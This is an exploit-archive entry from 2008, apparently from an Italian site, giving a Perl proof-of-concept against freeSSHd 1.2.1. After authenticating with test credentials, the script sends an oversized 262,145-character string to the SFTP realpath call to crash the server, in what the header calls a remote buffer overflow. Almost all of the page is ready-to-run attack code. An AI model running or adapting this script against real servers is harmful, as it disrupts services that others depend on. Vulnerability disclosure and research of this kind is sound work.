freeSSHd 1.2.1 sftp realpath Remote Buffer Overflow PoC (auth)

2008-10-22 07:01:03

#!/usr/bin/perl
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash #2 -- A Product of Fuzzing. Stay Tuned For More.
use Net::SSH2;

$host = "192.168.0.100";
$port = 22;
$username = "test";
$password = "test";
$dos = "A" x 262145;

$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$realpath = $sftp->realpath($dos);
$ssh2->disconnect();
exit;

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.